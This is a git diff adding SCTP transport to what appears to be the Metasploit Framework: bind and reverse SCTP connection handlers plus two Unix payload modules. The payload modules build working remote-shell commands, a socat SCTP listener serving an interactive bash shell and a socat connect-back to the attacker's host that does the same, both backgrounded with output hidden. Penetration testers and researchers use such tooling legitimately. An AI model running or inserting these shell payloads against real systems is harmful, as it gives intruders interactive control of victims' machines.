diff --git a/lib/msf/core/handler/bind_sctp.rb b/lib/msf/core/handler/bind_sctp.rb new file mode 100644 index 0000000000..eac68c271f --- /dev/null +++ b/lib/msf/core/handler/bind_sctp.rb @@ -0,0 +1,199 @@ +# -*- coding: binary -*- +module Msf +module Handler + +### +# +# This module implements the Bind SCTP handler. This means that +# it will attempt to connect to a remote host on a given port for a period of +# time (typically the duration of an exploit) to see if a the payload has +# started listening. This can tend to be rather verbose in terms of traffic +# and in general it is preferable to use reverse payloads. +# +### +module BindSctp + + include Msf::Handler + + # + # Returns the handler specific string representation, in this case + # 'bind_sctp'. + # + def self.handler_type + return "bind_sctp" + end + + # + # Returns the connection oriented general handler type, in this case bind. + # + def self.general_handler_type + "bind" + end + + # A string suitable for displaying to the user + # + # @return [String] + def human_name + "bind SCTP" + end + + # + # Initializes a bind handler and adds the options common to all bind + # payloads, such as local port. + # + def initialize(info = {}) + super + + register_options( + [ + Opt::LPORT(4444), + OptAddress.new('RHOST', [false, 'The target address', '']), + Opt::Proxies, + Opt::CPORT, + Opt::CHOST, + ], Msf::Handler::BindSctp) + + self.conn_threads = [] + self.listener_threads = [] + self.listener_pairs = {} + end + + # + # Kills off the connection threads if there are any hanging around. + # + def cleanup_handler + # Kill any remaining handle_connection threads that might + # be hanging around + conn_threads.each { |thr| + thr.kill + } + end + + # + # Starts a new connecting thread + # + def add_handler(opts={}) + + # Merge the updated datastore values + opts.each_pair do |k,v| + datastore[k] = v + end + + # Start a new handler + start_handler + end + + # + # Starts monitoring for an outbound connection to become established. + # + def start_handler + + # Maximum number of seconds to run the handler + ctimeout = 150 + + if (exploit_config and exploit_config['active_timeout']) + ctimeout = exploit_config['active_timeout'].to_i + end + + # Take a copy of the datastore options + rhost = datastore['RHOST'] + lport = datastore['LPORT'] + + # Ignore this if one of the required options is missing + return if not rhost + return if not lport + + # Only try the same host/port combination once + phash = rhost + ':' + lport.to_s + return if self.listener_pairs[phash] + self.listener_pairs[phash] = true + + # Start a new handling thread + self.listener_threads << framework.threads.spawn("BindSctpHandlerListener-#{lport}", false) { + client = nil + + print_status("Started #{human_name} handler against #{rhost}:#{lport}") + + if (rhost == nil) + raise ArgumentError, + "RHOST is not defined; bind stager cannot function.", + caller + end + + stime = Time.now.to_i + + while (stime + ctimeout > Time.now.to_i) + begin + client = Rex::Socket::Sctp.create( + 'PeerHost' => rhost, + 'PeerPort' => lport.to_i, + 'Proxies' => datastore['Proxies'], + 'Context' => + { + 'Msf' => framework, + 'MsfPayload' => self, + 'MsfExploit' => assoc_exploit + }) + rescue Rex::ConnectionError => e + vprint_error(e.message) + rescue + wlog("Exception caught in bind handler: #{$!.class} #{$!}") + end + + break if client + + # Wait a second before trying again + Rex::ThreadSafe.sleep(0.5) + end + + # Valid client connection? + if (client) + # Increment the has connection counter + self.pending_connections += 1 + + # Timeout and datastore options need to be passed through to the client + opts = { + :datastore => datastore, + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i + } + + # Start a new thread and pass the client connection + # as the input and output pipe. Client's are expected + # to implement the Stream interface. + conn_threads << framework.threads.spawn("BindSctpHandlerSession", false, client) { |client_copy| + begin + handle_connection(client_copy, opts) + rescue => e + elog('Exception raised from BindSctp.handle_connection', error: e) + end + } + else + wlog("No connection received before the handler completed") + end + } + end + + # + # Nothing to speak of. + # + def stop_handler + # Stop the listener threads + self.listener_threads.each do |t| + t.kill + end + self.listener_threads = [] + self.listener_pairs = {} + end + +protected + + attr_accessor :conn_threads # :nodoc: + attr_accessor :listener_threads # :nodoc: + attr_accessor :listener_pairs # :nodoc: +end + +end +end diff --git a/lib/msf/core/handler/reverse_sctp.rb b/lib/msf/core/handler/reverse_sctp.rb new file mode 100644 index 0000000000..ebccd4d953 --- /dev/null +++ b/lib/msf/core/handler/reverse_sctp.rb @@ -0,0 +1,237 @@ +# -*- coding: binary -*- +require 'rex/socket' +require 'thread' + +module Msf +module Handler +### +# +# This module implements the reverse SCTP handler. This means +# that it listens on a port waiting for a connection until +# either one is established or it is told to abort. +# +# This handler depends on having a local host and port to +# listen on. +# +### +module ReverseSctp + include Msf::Handler + include Msf::Handler::Reverse + include Msf::Handler::Reverse::Comm + + # + # Returns the string representation of the handler type, in this case + # 'reverse_sctp'. + # + def self.handler_type + "reverse_sctp" + end + + # + # Returns the connection-described general handler type, in this case + # 'reverse'. + # + def self.general_handler_type + "reverse" + end + + # + # Initializes the reverse SCTP handler and ads the options that are required + # for all reverse SCTP payloads, like local host and local port. + # + def initialize(info = {}) + super + + # XXX: Not supported by all modules + register_advanced_options( + [ + OptAddress.new( + 'ReverseListenerBindAddress', + [ false, 'The specific IP address to bind to on the local system' ] + ), + OptBool.new( + 'ReverseListenerThreaded', + [ true, 'Handle every connection in a new thread (experimental)', false ] + ) + ] + + Msf::Opt::stager_retry_options, + Msf::Handler::ReverseSctp + ) + + self.conn_threads = [] + end + + def setup_handler + if !datastore['Proxies'].blank? && !datastore['ReverseAllowProxy'] + raise RuntimeError, "SCTP connect-back payloads cannot be used with Proxies. Use 'set ReverseAllowProxy true' to override this behaviour." + end + + ex = false + + comm = select_comm + local_port = bind_port + + bind_addresses.each do |ip| + begin + self.listener_sock = Rex::Socket::SctpServer.create( + 'LocalHost' => ip, + 'LocalPort' => local_port, + 'Comm' => comm, + 'Context' => + { + 'Msf' => framework, + 'MsfPayload' => self, + 'MsfExploit' => assoc_exploit + }) + rescue + ex = $! + print_error("Handler failed to bind to #{ip}:#{local_port}:- #{comm} -") + else + ex = false + via = via_string(self.listener_sock.client) if self.listener_sock.respond_to?(:client) + print_status("Started #{human_name} handler on #{ip}:#{local_port} #{via}") + break + end + end + raise ex if (ex) + end + # + # Closes the listener socket if one was created. + # + def cleanup_handler + stop_handler + + # Kill any remaining handle_connection threads that might + # be hanging around + conn_threads.each do |thr| + begin + thr.kill + rescue + nil + end + end + end + + # A string suitable for displaying to the user + # + # @return [String] + def human_name + "reverse SCTP" + end + + # A URI describing what the payload is configured to use for transport + def payload_uri + addr = datastore['LHOST'] + uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr + "sctp://#{uri_host}:#{datastore['LPORT']}" + end + + def comm_string + if listener_sock.nil? + "(setting up)" + else + via_string(listener_sock.client) if listener_sock.respond_to?(:client) + end + end + + # A URI describing where we are listening + # + # @param addr [String] the address that + # @return [String] A URI of the form +scheme://host:port/+ + def listener_uri(addr = datastore['ReverseListenerBindAddress']) + addr = datastore['LHOST'] if addr.nil? || addr.empty? + uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr + "sctp://#{uri_host}:#{bind_port}" + end + + # + # Starts monitoring for an inbound connection. + # + def start_handler + queue = ::Queue.new + + local_port = bind_port + + handler_name = "ReverseSctpHandlerListener-#{local_port}" + self.listener_thread = framework.threads.spawn(handler_name, false, queue) { |lqueue| + loop do + # Accept a client connection + begin + client = listener_sock.accept + if client + self.pending_connections += 1 + lqueue.push(client) + end + rescue Errno::ENOTCONN + nil + rescue StandardError => e + wlog [ + "#{handler_name}: Exception raised during listener accept: #{e.class}", + $ERROR_INFO.to_s, + $ERROR_POSITION.join("\n") + ].join("\n") + end + end + } + + worker_name = "ReverseSctpHandlerWorker-#{local_port}" + self.handler_thread = framework.threads.spawn(worker_name, false, queue) { |cqueue| + loop do + begin + client = cqueue.pop + + unless client + elog("#{worker_name}: Queue returned an empty result, exiting...") + end + + # Timeout and datastore options need to be passed through to the client + opts = { + datastore: datastore, + expiration: datastore['SessionExpirationTimeout'].to_i, + comm_timeout: datastore['SessionCommunicationTimeout'].to_i, + retry_total: datastore['SessionRetryTotal'].to_i, + retry_wait: datastore['SessionRetryWait'].to_i + } + + if datastore['ReverseListenerThreaded'] + thread_name = "#{worker_name}-#{client.peerhost}" + conn_threads << framework.threads.spawn(thread_name, false, client) do |client_copy| + handle_connection(client_copy, opts) + end + else + handle_connection(client, opts) + end + rescue StandardError => e + elog('Exception raised from handle_connection', error: e) + end + end + } + end + + # + # Stops monitoring for an inbound connection. + # + def stop_handler + # Terminate the listener thread + listener_thread.kill if listener_thread && listener_thread.alive? == true + + # Terminate the handler thread + handler_thread.kill if handler_thread && handler_thread.alive? == true + + begin + listener_sock.close if listener_sock + rescue IOError + # Ignore if it's listening on a dead session + dlog("IOError closing listener sock; listening on dead session?", LEV_1) + end + end + + protected + + attr_accessor :listener_sock # :nodoc: + attr_accessor :listener_thread # :nodoc: + attr_accessor :handler_thread # :nodoc: + attr_accessor :conn_threads # :nodoc: +end +end +end diff --git a/modules/payloads/singles/cmd/unix/bind_socat_sctp.rb b/modules/payloads/singles/cmd/unix/bind_socat_sctp.rb new file mode 100644 index 0000000000..b6e44f0fdc --- /dev/null +++ b/modules/payloads/singles/cmd/unix/bind_socat_sctp.rb @@ -0,0 +1,49 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +module MetasploitModule + + CachedSize = 70 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Bind SCTP (via socat)', + 'Description' => 'Creates an interactive shell via socat', + 'Author' => 'RageLtMan ', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::BindSctp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'socat', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate(_opts = {}) + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + "socat sctp-listen:#{datastore['LPORT']} exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &" + end + +end diff --git a/modules/payloads/singles/cmd/unix/reverse_socat_sctp.rb b/modules/payloads/singles/cmd/unix/reverse_socat_sctp.rb new file mode 100644 index 0000000000..40b8ff8fcb --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_socat_sctp.rb @@ -0,0 +1,49 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +module MetasploitModule + + CachedSize = 87 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse SCTP (via socat)', + 'Description' => 'Creates an interactive shell via socat', + 'Author' => 'RageLtMan ', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseSctp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'socat', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate(_opts = {}) + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + "socat sctp-connect:#{datastore['LHOST']}:#{datastore['LPORT']} exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &" + end + +end